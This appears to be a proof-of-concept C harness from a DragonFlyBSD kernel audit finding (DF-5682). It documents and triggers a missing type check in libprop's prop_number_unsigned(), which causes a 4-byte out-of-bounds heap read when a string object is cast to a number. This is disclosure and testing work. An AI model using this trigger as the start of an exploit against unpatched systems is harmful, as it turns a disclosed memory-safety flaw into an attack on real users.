⬢ DragonFlyBSD Kernel Audit
DF-5682 / typeconf.c
← back to finding ↓ download raw
/*
 * DF-5682 — typeconf.c
 *
 * prop_number_unsigned() (sys/libprop/prop_number.c:379-384) is the only
 * prop_number accessor that does NOT validate its argument with
 * prop_object_is_number() before touching pn->pn_value.  Layout:
 *
 *   struct _prop_number  : 16 (po) + 24 (rb_node) = offset 40 -> pn_value
 *   struct _prop_string  : 16 (po) + 8 (ptr) + 8 (size_t) + 4 (int) = 40
 *
 * so reading pn_value.pnv_is_unsigned (bitfield word at +40..43) on a
 * prop_string_t reads 4 bytes ENTIRELY past the 40-byte heap allocation.
 * Every sibling accessor (prop_number_integer_value :432,
 * prop_number_unsigned_integer_value :450, prop_number_size :396,
 * prop_number_copy :364, prop_number_equals_* :477/:496) has the guard.
 *
 * The library this harness links against is built (see build.sh) from the
 * guest's /usr/src/sys/libprop with _PROP_POOL_GET/_PROP_POOL_PUT patched
 * to place every object allocation flush against a PROT_NONE guard page,
 * making the out-of-bounds read trap deterministically.
 */
#include <stdio.h>
#include <libprop/prop_string.h>
#include <libprop/prop_number.h>

int
main(void)
{
	prop_string_t st = prop_string_create_cstring("AAAAAAAA");
	prop_number_t bogus = (prop_number_t)st;

	printf("[*] prop_string object (40 bytes) sits flush against a "
	    "PROT_NONE guard page\n");
	printf("[*] bitfield read lands at +40..43 => 4 bytes OOB\n\n");

	printf("[*] control: guarded prop_number_integer_value(str) ...\n");
	fflush(stdout);
	long long g = (long long)prop_number_integer_value(bogus);
	printf("[*]   -> %lld (no trap: type guard works)\n\n", g);
	fflush(stdout);

	printf("[*] probe: UNguarded prop_number_unsigned(str) ...\n");
	fflush(stdout);
	int b = (int)prop_number_unsigned(bogus);
	printf("[*]   -> %d (NO TRAP -- read stayed in bounds?!)\n", b);
	fflush(stdout);
	return 0;
}